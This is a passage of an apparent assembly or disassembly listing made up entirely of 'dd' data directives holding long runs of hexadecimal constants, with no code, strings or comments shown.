69185939h dd 2D41617Dh, 0CCF4EB80h, 0BDB43EC3h, 0B50181E8h, 69C9E94Eh dd 0C7041125h, 0A8F46FB8h, 48E9A008h, 49BA3Fh, 64CE5B2Ah dd 95090558h, 52C13B02h, 5EC68956h, 0DBE9041Ah, 0D28D916Ah dd 9274FE42h, 0B8E05B29h, 307AB051h, 0E923D309h, 21C16FC8h dd 2E7738E7h, 9EFD0FC5h, 1F0FEFA6h, 0C0CF1C0Eh, 565FFD89h dd 741B84BEh, 0A8CC3C3Dh, 0E4780167h, 82D1B0F5h, 0E56E4008h dd 0AF5C1F9Eh, 10CD4149h, 826F7C30h, 0CE023D26h, 0F5F6E879h dd 2361F5E1h, 0FA24A042h, 4BE20965h, 4F0926F2h, 5DEDD949h dd 0E61AF89Fh, 0F78BCF96h, 0F6779489h, 0B7D631Dh, 2C00BBEBh dd 3E76C9BFh, 0CCF8114h, 154269C3h, 1A138BEEh, 8F121318h dd 0FB895145h, 6CB136C4h, 1E4AAD20h, 0E417EE95h, 0BEA54E83h dd 71DC4726h, 5D1B2252h, 5E4BD8F0h, 49E40E8Dh, 0D79E9508h dd 5501F84Bh, 0C2885B5Ah, 6D7F61EEh, 29C5D581h, 0D17B961Dh dd 198644CDh, 6863FC08h, 0A24CDFh, 28557EB9h, 0EAC9810Bh dd 2672E75h, 0BC2834A7h, 26423B5Bh, 51863C1Eh, 81195C68h dd 8000C393h, 0BCF071EEh, 0A101F44Ch, 0AC345455h, 0EA5B9B5Dh dd 0C368C179h, 43D76671h, 4DA539D3h, 0B96250CEh, 1AC92BB2h dd 5AE5A34h, 0FB6A80E3h, 0BC0DC41Eh, 9DCC4E57h, 3ED36966h dd 0BAF5AA02h, 3FBC5904h, 300E68B0h, 4F618ABCh, 0F7F4DD1Ah dd 0E9460CD6h, 31202A8Fh, 0AA5FF828h, 99300104h, 69804968h dd 25EE71E9h, 9A09FAAEh, 5B12EC51h, 0DB37941Eh, 11F50A0Bh dd 197A424h, 0CE68BC02h, 65E4741Dh, 818D4075h, 0B7419EF2h dd 25010527h, 0BF665A3Ah, 0E0442C5Eh, 0BE666066h, 0FBE92B75h dd 0A6BE5EB5h, 0B0072087h, 56F92E4h, 99B168B0h, 0F21DC228h dd 0AD986978h, 0A0BB4120h, 3E7C8ED8h, 33775D4Dh, 0ED9D505Bh dd 8A7D7EE9h, 0F019EA24h, 0B05D5300h, 6BC328F6h, 1F992EE9h dd 5AD6236h, 20112EF1h, 82CA61C2h, 7F2A99h, 77FFE2D1h dd 0FACA60B1h, 5C0287C4h, 16973C89h, 6168FEB0h, 5260137Ch dd 0FA2E0058h, 0C157FB19h, 8107E200h, 18713DCAh, 2EC0A034h dd 77CBFF54h, 9A760218h, 0E8F0E945h, 80B13F3h, 4528B0C3h dd 52DE1E5Bh, 4FF9248Bh, 0E2097E64h, 0E9267FFAh, 469273B0h dd 2FB13714h, 0DBE722FCh, 8142056Dh, 6A0652h, 9803EAC1h dd 4C3F20CEh, 51F78A19h, 0F3CA0165h, 75B800C3h, 810E4176h dd 8F03CDBAh, 143BE4Dh, 0E9107C44h, 8D2C0C49h, 555BB4D3h dd 10C64858h, 0FF48B94Fh, 4067FD07h, 90EFB473h, 45D22DCCh dd 68156AF6h, 787648D0h, 0C2BE59FCh, 0FBC8BD45h, 2D9B455h dd 2A73127Bh, 0C3273752h, 5F3E911Bh, 9438F1E4h, 3CE8716Ah dd 0EEC013B6h, 417A85A0h, 38D5F910h, 8C355BFCh, 0E529BC89h dd 7D234993h, 0BE07A2D0h, 67725E0Ah, 0FB418CA2h, 7145253Ah dd 44AD871Fh, 10E80BDCh, 0A368C831h, 8A5AAFE9h, 1FF88D24h dd 0C82DB148h, 305B1311h, 2593C5C5h, 0B2839A02h, 0D8502B3Eh dd 2F5CE910h, 0C9C15D2Eh, 316C9078h, 26E90D06h, 8746618Bh dd 41685351h, 7054F77Eh, 0C518F39Fh, 17E45D10h, 26F5894Ah dd 79CB4C5Bh, 60D00A18h, 2C665DCEh, 186030FFh, 0C7B2AAB8h dd 0E094806Ah, 0ED51133Eh, 0CE7DE035h, 0EB081321h, 27E20BF7h dd 31AB361Dh, 0DA91A450h, 0A74FE969h, 0F327403Ah, 8F73D8A5h dd 5B580174h, 1C338639h, 6807E73Ch, 82A7762h, 9DABCBDBh dd 0B543DB04h, 6CC4A6B5h, 4D0DE859h, 0BEC7200Bh, 0FB8D240h dd 7D4B63F8h, 9C10914Bh, 2F1D3BC6h, 0EE9D166Ch, 0E4F754C3h dd 0FA829D21h, 9DBA01CEh, 42433029h, 31AF4A4Ch, 0D6011199h dd 96864C3Ch, 0C50057E2h, 18120B05h, 92EB8F0Fh, 67E91679h dd 0C5132149h, 803A2C85h, 827D352Dh, 1CD5EA5Eh, 685F963Eh dd 9F9E9969h, 0CBA22623h, 4E212A72h, 865EB212h, 0E1664EDEh dd 0CB8104CDh, 0C0E860AAh, 0FEFBF340h, 7E5EFA2Ch, 2176E90Bh dd 8B353BDh, 9F510AEh, 11186857h, 5C820286h, 47678189h dd 65556621h, 0E9D7F0F9h, 500B7A5Eh, 81290001h, 3C11A4C7h dd 0D7BC6D97h, 2808EF28h, 27B8295Ah, 4AE4F622h, 2FFD21F0h dd 609612Dh, 93E91851h, 0EF68434h, 80C4FED4h, 9784F54Fh dd 1742A4D0h, 8B83DFD3h, 0DD840B5Fh, 0E7827BABh, 2180CF3Ah dd 88BBF480h, 0C3ECE17Dh, 0CB7B7770h, 295EB75h, 79309E08h dd 32A72D1Ah, 62974D0Ch, 62D81166h, 0E3E9746Fh, 839A5C59h dd 5EF2D00Ch, 1FF165Ch, 7879CF68h, 3526307Dh, 82878613h dd 0D31A68C1h, 9C0BBD05h, 0B551C303h, 0A9EB82F7h, 566782FAh dd 0A6F1FB3Bh, 0EAF44D33h, 322DA854h, 27B00764h, 1322ED7h dd 97942FAh, 12344008h, 0AA50500Bh, 76484EAAh, 8B72973Ch dd 28C27696h, 509074C8h, 4E19B151h, 64DBF9E9h, 0E602F320h dd 35742768h, 22274364h, 0C612DBh, 0F644C794h, 67D9FC72h dd 65574E33h, 837F9511h, 0F6F83527h, 6A276877h, 0D9DF9901h dd 0E6046339h, 0C146256Ch, 0C456C602h, 2D0429CCh, 79845782h dd 9C2D6686h, 21665816h, 8888179Eh, 62BB03B5h, 68113739h dd 0CE0ED34Eh, 2B89280Ch, 8B318570h, 0E6C14F48h, 61EDE9D5h dd 8E2A597h, 0FE01D062h, 26880FC8h, 0C0190B6Ah, 84103050h dd 0F61E57AEh, 2A8A0CD8h, 7A3C0C23h, 80A44C34h, 2DE9F1F7h dd 0BF81A632h, 3C6D4B41h, 73955CE6h, 1B26F87Ah, 0AF4AB73Ah dd 904A452Fh, 16B4D6E9h, 3318BD5Bh, 0E4ED0E9h, 0D10CC590h dd 51910436h, 0EC2B0F68h, 0E70893F8h, 0FA853E50h, 0EC3D7507h dd 0F700A41Dh, 17546BC5h, 0C0E14BC1h, 87EC9BFCh, 0CE319F13h dd 73EE3200h, 5E266E76h, 40CB89h, 5358C701h, 52FFDBBh dd 9EE93AB0h, 0C2B9F9h, 60A843AAh, 4FAB890Fh, 955521F7h dd 0D6100E16h, 48F4C43h, 5547E9FEh, 578BC9BCh, 2D3FCCD1h dd 8E6A2343h, 0C34F0E25h dd 0E0E39CEBh, 0EE9DA89h, 0FE616AF6h, 472C013Fh, 186ADFC4h dd 0F216DCC6h, 0E5987Ch, 1E1B1723h, 5503EBC1h, 829BD03h dd 0CD091AD2h, 1E34CC0h, 9AC07C2Eh, 48F87042h, 0C807F772h dd 0D40E7C27h, 3C0810DAh, 6AC1FF5Bh, 11DC6AF3h, 65109340h dd 0C34B715Dh, 0BE05DD0Eh, 5BDA01B8h, 1A335824h, 0B506311Bh dd 6101E799h, 0E4AFB3F5h, 18B5F91Ch, 4B54E9CFh, 53D5D2BEh dd 43270340h, 815E6500h, 8E1AF8F1h, 0CF8D9573h, 78842090h dd 0E7D4530h, 2CD22AF3h, 8B70AB30h, 0D8C8D928h, 33B350Eh dd 44CD1D40h, 455B8506h, 2D08741Ah, 0A3E0273Eh, 0C1A803E9h dd 0C59CF668h, 1DC69D92h, 3014B7B9h, 9A34F8D3h, 0E6D071C2h dd 0DC552015h, 67300FB0h, 0FDF195CAh, 61E02C2Eh, 0BF72405h dd 7C5A2A6Bh, 0C2095902h, 9A51E2D1h, 42BF8F36h, 530FBFE9h dd 6BEA678Bh, 0EE2804D1h, 845A7FB4h, 0E4CC5BDCh, 9AD27B5Ch dd 0DD185570h, 0FE7C0027h, 3D24B129h, 0F658E9E5h, 0C91B3F4Bh dd 0C563906Dh, 61B9E4E9h, 4096EF01h, 21475402h, 59AD7089h dd 1282C39h, 68ED0492h, 7752358Ah, 0C4CA8450h, 72C4F1ACh dd 0DAF6003Dh, 4068830Fh, 0EA6F806Dh, 53348B5Ah, 0B95E0974h dd 133EEB79h, 0EE21AB0Fh, 5B29Ah, 0D373C132h, 21E7014Ah dd 0E9080082h, 949D6ABDh, 9B9B9DC9h, 2FF9E69Ah, 62AC5644h dd 5EC3CF89h, 5FBAD883h, 1CB31F50h, 0E1172B26h, 29A45777h dd 0E7C15491h, 287F544h, 8A386122h, 0AD956693h, 7C4D24D5h dd 0BD690304h, 0BBF5A681h, 5430BFD9h, 0C82B5FD3h, 0E0E3C753h dd 4DFA70ACh, 13812165h, 0E3D78752h, 91D0E0E4h, 4C1DC6BEh dd 0F6024B50h, 4D963EFCh, 9DDDA961h, 20D6E923h, 5C1EF6E2h dd 18C88955h, 301AB190h, 0FCE3648h, 4948F1F3h, 83F78445h dd 59A777ACh, 71E66D48h, 5CAB4A01h, 31F8870Fh, 0CBCD2388h dd 274DDC31h, 5AF48A00h, 0FE9A4A95h, 0E9C178D9h, 10B229E1h dd 52242EF3h, 0CC585AC0h, 2DFE60B7h, 0A2B459E9h, 7C2AF741h dd 4341B1F7h, 0D574007Eh, 0F75A7828h, 5352DF19h, 0B5A5774Ch dd 70C09991h, 0C975FE10h, 804CE178h, 25B15887h, 0B0A24659h dd 48B2E6AFh, 0BC047B4Ch, 0A8D7E3E9h, 6F098203h, 8B9ED41Ch dd 48B11FA9h, 0E122E5Ch, 98F639A9h, 0DE595426h, 92110801h dd 1C605530h, 390A10CBh, 63650512h, 0EB0119CDh, 3AEF32D6h dd 5D031880h, 0FAE98FC2h, 2C2B25F9h, 0B0E01069h, 1B685F09h dd 0E8712DDAh, 0F4D54C95h, 0E7899745h, 3D1C6F19h, 0FEC9D72Fh dd 0C862607Bh, 59542E9h, 50C2ADE6h, 0C9265C38h, 0AE8815D1h dd 3BBA2C63h, 0C9B5A393h, 9003500Fh, 0C4B0950h, 5F073110h dd 2E8EBF80h, 0C1201753h, 0D4621CEEh, 2530FF37h, 3BB0410Ch dd 0F7297901h, 5FF9215Eh, 8B221C2Bh, 0BBE8CB91h, 56017F63h dd 3455055Ch, 63E4F8Bh, 0D53F6533h, 0E65AD630h, 5DE37FF4h dd 491D9A62h, 9D366C83h, 171B029Ch, 5ACE01h, 4F93C4F8h dd 830A5C93h, 0F80892AFh, 0C4DA2069h, 0C0277DD4h, 474D0F4Bh dd 8FB1574Ah, 0BC908BDCh, 59702C79h, 8000D6B5h, 0E305EEFh dd 0B2525BF9h, 9C1569Eh, 0C461CC26h, 5BC02905h, 128BD45Fh dd 0F2EAE673h, 0C0E45590h, 60927757h, 0B116792Bh, 3257A514h dd 0FAEC2EFDh, 0FA1602Dh, 0AD356F81h, 0CE71CA65h, 0C00127CBh dd 95F49422h, 6CC28793h, 50004ED4h, 483761B8h, 0D0F71E46h dd 0D03F005h, 0E9003B6Fh, 36354076h, 0F2BEE53h, 8D93AD2Dh dd 58C301C2h, 4B75DC1h, 1F884BC1h, 0E62D5A03h, 0D9C02FDEh dd 0BCD859EBh, 0EAABC006h, 3FFD555Bh, 6E596FF6h, 0FE247695h dd 6A4F3EFh, 0A043E525h, 88E302Ch, 5F74F74Dh, 14A7B52Ch dd 9F809922h, 4CC5C782h, 29F85558h, 317DB505h, 45AA144h dd 0D4E2C207h, 2FEEC7A7h, 4C6E08B3h, 74506804h, 0DC2DAB8Dh dd 5ECB2233h, 0FDF36A2Eh, 0ED1755A6h, 0D7879244h, 60ECCAD5h dd 0B2E4A6B3h, 9B8C5A26h, 76479855h, 0D683BC6h, 462ABB60h dd 889D5FFEh, 3C07C8h, 97F33BB9h, 0BFE901F2h, 3DEA7099h dd 24219236h, 4675854h, 40325254h, 22050516h, 5F76DF5Eh dd 0E90D9AA3h, 2CE73EB3h, 7E4E7965h, 0E12DF8C0h, 1653A5Ah dd 55CAB386h, 987D82EAh, 2942B40Fh, 8A81CC2h, 0AA15867h dd 0CEE96191h, 561B092Ah, 1EAAFE00h, 577D0820h, 5E78012Ch dd 281DB683h, 2AF9D7F0h, 0C3083B83h, 3432451h, 2C521FCAh dd 85EAB6D9h, 0ED835B50h, 6E760981h, 0EDF2252Ah, 201C20D3h dd 99677C7h, 0FE74B787h, 0E70A52B5h, 0B860FF60h, 0FFC78EEh dd 0DD8F77Fh, 3A183200h, 25CE8C1h, 1216055Ch, 3AB0D179h dd 58C60189h, 0E7E9F129h, 0FDD825FEh, 730AA5ADh, 0BC470879h dd 0BA528530h, 35C1E5Bh, 0B062650Ah, 0A516F9F9h, 2BE3045h dd 0BE502EA2h, 0AE085053h, 596B181Eh, 39960C52h, 0C6B48651h dd 2D015C56h, 38AD0B28h, 0A205C030h, 0C63E8C07h, 6D0700A3h dd 4B30BF7Bh, 4397F416h, 0B988FD2Ah, 96AE92C2h, 0B7A4EFB1h dd 1339BB03h, 0B211EA3Dh, 6DEF02AFh, 84030F0Ah, 31071EC3h dd 0E08775CAh, 589050DBh, 38D46816h, 0B900A1B2h, 286D7CF6h dd 0A19E0BE9h, 0F4E19B25h, 75F20B95h, 98C330C4h, 2850B9B8h dd 2CF3141Ch, 84BAE38Ah, 0C4CA0145h, 0D3084311h, 44E40381h dd 0A4EDE1E9h, 0E52AFD48h, 2EF37294h, 22655BDFh, 0C874880h dd 0C4E2412Dh, 5452B3DCh, 0D50147Bh, 2C10B948h, 7C011AB6h dd 5C6F214h, 584349E2h, 1A7FC25Fh, 6E187E8h, 181413Dh dd 0C854FA8Dh, 0A291CB31h, 268C4E63h, 675B4CD9h, 0C8C8DD12h dd 0B85327h, 812F933Bh, 0C4D16803h, 0C02A2BA7h, 6367EF48h dd 51FB5C5Ch, 5B073A97h, 0A7745055h, 2D59C6D0h, 91A16E4h dd 0E7CBA031h, 446A2041h, 62B23ABh, 4DAF6h, 0FE07B353h dd 80EBD0C3h, 0C05C1BE4h, 0E33C76B9h, 9E70FD5Bh, 0D0E0DA76h dd 0F08CE910h, 4ADCCC5Bh, 0C9243F5Fh, 9D18DBA6h, 5BD8F743h dd 81B494BAh, 6269516Bh, 0D6EE4808h, 6C1B68A9h, 0EAC3DD0h dd 0E122C9Eh, 530CDDD8h, 9895CC51h, 97985926h, 0EF81D85Bh dd 16909F86h, 4F37179Fh, 1A800C70h, 32E93966h, 0C7B740D9h dd 6DDF9F40h, 3177FB2Ch, 0F7F82158h, 0E9092E63h, 0A044FF79h dd 0AB65A098h, 0F0005210h, 14CE3803h, 2E61CC1h, 0CAADC81h dd 580C5935h, 619F0712h, 0C4E16906h, 4CBA0739h, 0B277106Bh dd 0B6A913F2h, 0ED0102F0h, 74C248A8h, 0C5E1FD01h, 505F0841h dd 55C0D683h, 0E98856EBh, 469706F0h, 0A759491Ch, 20AF0502h dd 36427BD6h, 0E865EC86h, 8001EF22h, 0E272FA6h, 85682A5Eh dd 0DF10D6D5h, 3A8A5E2Dh, 4BB0CB5Eh, 8B81F935h, 68CC48B4h dd 94C77BFh, 72E99747h, 45951350h, 0F0AE31C0h, 0E99F305Eh dd 6700864Fh, 0DC7C2BBFh, 0E7C11C2Dh, 6EFCB08h, 8D725780h dd 29066C68h, 5493E9F9h, 90B23230h, 225E69FAh, 4C3F9A60h dd 0B459019h, 540E6678h, 25692A60h, 0C841012Dh, 2DF024F9h dd 2A8F917Fh, 9903A71Fh, 0D4FFC8FEh, 2D32AD1Ah, 65763402h dd 829CDED3h, 0BE03AAEEh, 291AF1ECh, 582E65E9h, 18C29EBDh dd 5E612D1Eh, 4807F614h, 26DF30C9h, 2C7752BDh, 54310CBh dd 0E1A41659h, 4B4F7AD3h, 0A8E98429h, 545392D0h, 68189E5Bh dd 0BA684906h, 9BDD31E9h, 91EEB07Fh, 307914EAh, 5E0C41AEh dd 0F48AC13h, 6B0026Dh, 0F64E6798h, 804747B1h, 0D6F72D76h dd 0D462EDF1h, 7B7C542h dd 630CE9CCh, 146E0F0Dh, 9F445A07h, 0C03CB81Dh, 18FD62F6h dd 4FDD7FF7h, 5A0004Eh, 5B413D92h, 2D50ADB0h, 68155707h dd 782121BDh, 9A6AB404h, 50A45D4Bh, 0B36C1344h, 36E30457h dd 2FBB1F3Ah, 6621800Eh, 75CCF281h, 0D7893E3Bh, 0F9F310AAh dd 3F64FBDAh, 5018A2Fh, 28158C0Fh, 66512571h, 0F70DC481h dd 0E27CD5D0h, 0F4589873h, 655D0523h, 5F868A0Fh, 96F10183h dd 301EFF20h, 509E136Eh, 0A962973Ah, 0D8B4C7F4h, 4A4C2247h dd 28995582h, 225971D3h, 7D5B2CA8h, 0F045E942h, 2D5F0628h dd 16CA7E56h, 7FC0A076h, 0C90AF4EEh, 9F49BA36h, 541E628Ah dd 0A452639Ch, 28C9687Ch, 215A5867h, 2590E9F4h, 7D226E0Ah dd 0B4984359h, 17A8E644h, 0F50823CDh, 0BA6507ECh, 74E95D41h dd 8BF0F519h, 72555233h, 0FD5D45CAh, 0D58B255Eh, 9429A7B9h dd 12C5D3BFh, 688680D9h, 5FC540F7h, 1BBD2526h, 8085692Dh dd 0F3968331h, 402CC909h, 17687966h, 0E98E0302h, 45155A1Fh dd 80A01848h, 0E0C1E8D1h, 606C202h, 43F8FFE9h, 0EB0D17C0h dd 161E14Ah, 1E811505h, 70C50196h, 4DC1E25Dh, 4B17632Dh dd 9A785DF1h, 29DC02DFh, 706031F5h, 0E3251FD5h, 396526Dh dd 8B3A6AF1h, 8FCFD105h, 0AD182761h, 29E1F80Ah, 0F0F30275h dd 0C288FC1h, 0EE24B5A7h, 808B80F2h, 7E6F87Fh, 6872970Dh dd 0DB8FB209h, 401D2D54h, 0A6C8DC6h, 746A4CF9h, 6763C68Fh dd 0C05305Dh, 0E0C9FDD5h, 481A63D1h, 0E1D2D938h, 0D657F151h dd 71A8A08h, 0BDAC5ACEh, 40999985h, 8887B5D7h, 800059EEh dd 0D6F6A6CEh, 0B41E1D68h, 2CB742D0h, 285BE260h, 0C3CCF350h dd 3C686601h, 0F4FBE96Fh, 3B2FD573h, 0FEE35CE0h, 0E6C18582h dd 0D953E649h, 2368706Eh, 0A6837854h, 2926E594h, 0D3A850A7h dd 0F173128h, 773479A3h, 4232A75Eh, 6CBFF2D3h, 0B6301B59h dd 7D680209h, 27E7447Bh, 0F45B5954h, 0C304F113h, 0CD13E78Eh dd 0F2140CE1h, 8B92E925h, 968216D1h, 0B4D05873h, 0D40154CDh dd 2C8D1630h, 126FC86Fh, 2D4B8025h, 0A93D657Bh, 5E89459h dd 7795807h, 4CD95517h, 0CAB3D0D4h, 4103051Fh, 5DE90EE1h dd 0B2317FBBh, 0C981AB97h, 7C0126C3h, 0DB0C810Eh, 57DA4FCFh dd 2E363A70h, 12432A09h, 6E7109C7h, 0D3E6031Ah, 2B2ADE7Fh dd 0A0910F4Bh, 4D02E941h, 0DD41814Bh, 0D94A024Ah, 46D544B1h dd 0C780E9F1h, 0E4595476h, 0E5C00F33h, 14C5A405h, 0D3321CAAh dd 0A0B6A8D8h, 5535266h, 0B551E0B3h, 88B9EC8Ah, 0BCF33C28h dd 3ED4309h, 20CC5410h, 0FC3FE02h, 2B5CC188h, 17A483Fh dd 0E9E6B050h, 0BB724455h, 9269F32Fh, 0E828107Ah, 0A7704D2Ch dd 12109D4Bh, 2715251h, 0FE16B7A6h, 2C3B120h, 35681240h dd 0D1533745h, 0D257D6B9h, 87024A61h, 19B8F12Ah, 7CCB29D2h dd 1CD6F0Ch, 88C33AB4h, 7C12EE4Dh, 0B11A91D3h, 0F4535642h dd 76331BBh, 249C02Dh, 201FC25Ah, 0D4D88FE9h, 53505112h dd 0DBA66784h, 525BDF0Bh, 80897C51h, 0AC5C5C67h, 36B202CDh dd 0D07C0FB6h, 0EC02DA82h, 0BB08800Bh, 0BF587F67h, 0BD55EAA2h dd 6C290A83h, 305D08D1h, 4A93703Ah, 0CA822420h, 3C4B0772h dd 0C5D41BF2h, 61A9BFB2h, 2DE96560h, 4CD0095Ah, 76E74CFEh dd 1DEB03A0h, 139856Dh, 8CF10B5h, 254C5D2Ch, 90A27AF9h dd 19476813h, 14ACDE8Ch, 9D694C34h, 6C1A2101h, 34CFE976h dd 0C25880C4h, 5BCB13B4h, 0B4C9ADE8h, 6689E542h, 440F2EF0h dd 0C933CC68h, 0AC6A2423h, 801C2488h, 35C72B50h, 0DF84F5B2h dd 2C5AEFE0h, 1233DAF7h, 0E2C9E4F9h, 0C17A040Bh, 7551022Fh dd 7B3025Fh, 0D16A5CF4h, 290E8D01h, 0D9503130h, 9547BCE9h dd 96002A3Ah, 67280549h, 7E3394A0h, 0E9313F05h, 35C8C14Bh dd 149B1B68h, 0D47AE87Bh, 8355F190h, 0FBD53099h, 7950A3CBh dd 1A8B69FEh, 0FE17FE71h, 9EA72D52h, 57853648h, 9F11B853h dd 0F081DE1Fh, 0D8F75B5Eh, 4EE91B74h, 0B48D17AAh, 0CA410AEEh dd 0DB9363Bh, 30776812h, 8BE94331h, 0B30EF668h, 44CC0EBh dd 0BAFA0306h, 0F62A3761h, 0A3CB86D5h, 5FF2DAD2h, 0BBD9C009h dd 0DEAC7434h, 12C4D8C4h, 0E5A774E8h, 90CF94F6h, 38850F02h dd 1DF4E8A4h, 27712312h, 625984E0h, 9CE9675Ch, 69B6F8F0h dd 83DB495Ah, 0CE4815A7h, 0DB4FE952h, 0FC8AA817h, 0E62E0F12h dd 7968139Ah, 0BC78DAB3h, 92D1C999h, 0D26D5800h, 24DA0109h dd 8B2588E9h, 8B80E168h, 0F187590Eh, 0D02482B5h, 3CC8F1E0h dd 0A92C6012h, 0C5C10206h, 776CE8A1h, 8B51A889h, 1166BD03h dd 59BC8D32h, 96FEB24Fh, 0AB0250CDh, 2C2D004Eh, 22F59B0h dd 64318489h, 0BB0210FCh, 135418E3h, 31D98255h, 6183DEF9h dd 6C236568h, 0E95682D5h, 5A92A7A4h, 661B54F2h, 1CB52CE6h dd 2C1C3B39h, 4E80EA0h, 2E55EE99h, 0C22163DDh, 0EFF1412Ah dd 0F6D035FDh, 0BC246DFEh, 1C64AD00h, 2EAD11Dh, 3F18F281h dd 2062082Eh, 0A29F1950h, 3D54FD2h, 92F7E681h, 0A9763793h dd 1CC92E8Dh, 0F602492Ch, 10035A1Dh, 5FD26129h, 3859CA88h dd 0A4E7E90Bh, 5CB58FFFh, 180ECB3Ah, 0D387F851h, 4153F05Ah dd 0AE04DBD4h, 10FC68A5h, 98C24FC6h, 0F1409F8Ch, 454AAFE9h dd 0ED8B7064h, 0E9165B52h, 5D9FF016h, 0A534EAC9h, 0AE13C127h dd 0B18BE706h, 0AA94FE20h, 0F03B758Ch, 800813AAh, 7FFB9905h dd 71F585C1h, 0C6E1D102h, 0D454CC86h, 6CC62926h, 76F3BE2Ah dd 0F98F4AC6h, 0BDCA304Ah, 16F21809h, 100E6F98h, 0C947D878h dd 0C1D648EDh, 190458E5h, 0BF42E904h, 0C318EF7Fh, 9A8530h dd 0EA296F1Bh, 5AD0215Dh, 73B72297h, 2A80F11Ah, 8987A4F5h dd 541853A4h, 32A7009Bh, 713DE81h, 0C06BB80Eh, 0F727EE1h dd 0E90B1776h, 15C7CF9h, 73338217h, 0B106CC39h, 246AB25Bh dd 61697609h, 0F28B5A83h, 525DC02Bh, 0EE8066B6h, 0F63F8C73h dd 5D13196Ch, 844DEB47h, 846408DBh, 0E9045AFDh, 0CDA4AEE8h dd 765B12B8h, 0FEE90149h, 20643F30h, 28F8D52Dh, 0D7293501h dd 0E0E9515Ah, 28BE142Fh, 0B5D31C27h, 5A111A2Fh, 0A2702081h dd 7D53BD00h, 0C1455B62h, 0CE0651EDh, 306B802Ah, 0FA4B49D8h dd 56F406E1h, 0EE012216h, 32E911C4h, 458523D4h, 332D4BFDh dd 0B77691E2h, 41927852h, 132E6387h, 72D1D768h, 5968C7BDh dd 9A14EBF2h, 6F25A01Eh, 0BA18603Ah, 0CADB82EBh, 1292EE7Ch dd 35EF1CFCh, 784EEADh, 0CD87B15Bh, 0EDAC30F9h, 13514DECh dd 903FE0EEh, 48B27C4Ch, 5D0840C7h, 36B2884Bh, 75C85810h dd 0AA09530h, 94DA315Fh, 82E950DBh, 0C7D62597h, 0C5ED2EE5h dd 86813435h, 4A895AD1h, 61D65830h, 0D7C39D26h, 0CB666332h dd 9C50A14Ch, 201984B4h, 18EB6886h, 1A62CC96h, 88025C52h dd 0BB01EDF8h, 66E46C0Bh, 0A7AC29E9h, 0DEFA449h, 156DD207h dd 0F1D9B1D0h, 29B56427h, 608C2C94h, 0F8012FDh, 192C84F2h dd 56D8B249h, 7CB434F8h, 4E186858h, 2610A73Ah, 0D18B6C8Dh dd 9DD004EFh, 812ED3B1h, 2FE8941h, 0C0B96ACEh, 243B1DF1h dd 1954041h, 0F201DFFDh, 38183129h, 0A1C71522h, 0F4B24F8Dh dd 622F0193h, 2C490B50h, 61BDA1E5h, 59871DA0h, 0B53F7066h dd 59E88883h, 4AD8A04h, 952642CBh, 0B05987Fh, 1BEBC948h dd 0B2F32332h, 0BCED6664h, 704508E2h, 5DEF3106h, 9298C1E3h dd 4111A204h, 2540283h, 25E87B59h, 0CF7E246Ah, 68F0D00Bh dd 82C20347h, 3F5C6380h dd 0F1EB7C66h, 398B8A2Dh, 98BE750Ah, 35630E06h, 0DB310F48h dd 0C4895515h, 54B11963h, 0E46E3D5Dh, 4051FF89h, 8B3F15E7h dd 5DC2608Dh, 0B06D5549h, 3CD9E5F8h, 0D889013Ah, 200E18FFh dd 5E122DC4h, 2EED0C48h, 0D35D5B07h, 7EF5610Ah, 845ACD6Fh dd 5412E91Ch, 17C1E5C8h, 914D0375h, 563ED2h, 96B6890Fh dd 0AAD03C37h, 0BF8FB58Ch, 458EF81h, 28BBE84Ch, 79E3E94h dd 0EA263509h, 5D30C184h, 0A2F2B157h, 0A50F5B5Ch, 0C5024DA9h dd 561C5Ah, 8725DE51h, 6F291359h, 0BC4EB684h, 0E053CA29h dd 566F0927h, 195667C9h, 0E985685Bh, 28D935C2h, 5001672Dh dd 8E67C6B8h, 1D3B7002h, 606858A8h, 0B000ECBBh, 4BB35314h dd 0DCDE2FE9h, 0F8209FCCh, 0F5BD05FEh, 0C2B3D8D6h, 0CD085212h dd 5C274803h, 0DB0C0402h, 0EF6ED062h, 0E859545h, 0B5B195ACh dd 0C3198011h, 61BB3840h, 9505B889h, 1253F289h, 18148E09h dd 133668E1h, 640E1E57h, 56D2C097h, 4D18FC7Ch, 29B574E9h dd 595778F0h, 0A24C2EC6h, 6D5B1202h, 0C40F8907h, 12BCE383h dd 0B42B692h, 515B0388h, 99E9418Fh, 0C537929Dh, 394B0E12h dd 42F73B8h, 8D0EEA68h, 0F9F343BBh, 4017F4A1h, 8A0F12D1h dd 0B2251100h, 559B413h, 3824137Ah, 0FF7A0D17h, 22963465h dd 0D3313B4Bh, 283F2D9Dh, 75A2282h, 0D6436598h, 9506A3ADh dd 6239D358h, 124AF566h, 5BF2C2A1h, 0FB82955Ch, 0C25F0E2Ah dd 685BFC10h, 0FFA5250Ch, 0A0B65278h, 563D35B4h, 0CCB5F2EEh dd 0E52D2096h, 26FEF67Eh, 5F6F5E64h, 40EF29BBh, 5D9C7873h dd 5F40AC98h, 0B0EB7829h, 215B2DC8h, 0BD022AA9h, 1B5D3906h dd 0DEF7CAD3h, 15B225ACh, 53C06F5Ch, 79196852h, 1C07632Ch dd 0F4B1DF2h, 25E924C8h, 78C41F9Fh, 649F5EF0h, 7C5D00CEh dd 8D0F0CD3h, 0E9800DCCh, 4C01B5BCh, 0E041D1F7h, 0A1DE5990h dd 6482A76Fh, 810F0538h, 3DE1F1BDh, 878CDF43h, 0B7596FA5h dd 0E044844h, 21ED7A4Eh, 0F025964Bh, 0AB8E1329h, 0F110701Ah dd 9E8049E2h, 0F2FC0BE9h, 0CA89C51Dh, 0BA03CD3h, 203EB02Ch dd 0EF84B8EAh, 5DC05164h, 0F596BF00h, 0A6B4B643h, 831AC02Fh dd 0ED6CC0C5h, 1D28619Ch, 2540E916h, 8D6D4E9h, 4912C72Fh dd 0BAEF5F08h, 9E8525Fh, 1A303BDCh, 0B980E165h, 6411ED3h dd 5C5F8948h, 7DF6D6CEh, 5E164261h, 803FEA29h, 2B11B803h dd 0AB6F1FB0h, 4E97FD35h, 0F0876C84h, 5BCBB921h, 0F3C829D8h dd 0ADDF2C8Fh, 3593D3F8h, 3B57CD2Ch, 17943A15h, 3F0D4E9h dd 0E0B40043h, 0B753A6B1h, 6812661Eh, 48E82290h, 0EF09EB8Eh dd 0C1101A0Bh, 8070B652h, 5A70F076h, 0A2CD83Ch, 0B236D3E9h dd 76126D80h, 1F97BD31h, 0CB4AF475h, 0CCA2A53Bh, 0EB6361CAh dd 7EBC0E0h, 0E9CBFE04h, 0BDC83520h, 4B6B1965h, 205B0C33h dd 29051567h, 0BD6E9F3h, 0A3274EFDh, 0FD76EE8Bh, 23D76A8Bh dd 5ADCB389h, 0D0DD8C0Ah, 81FF962h, 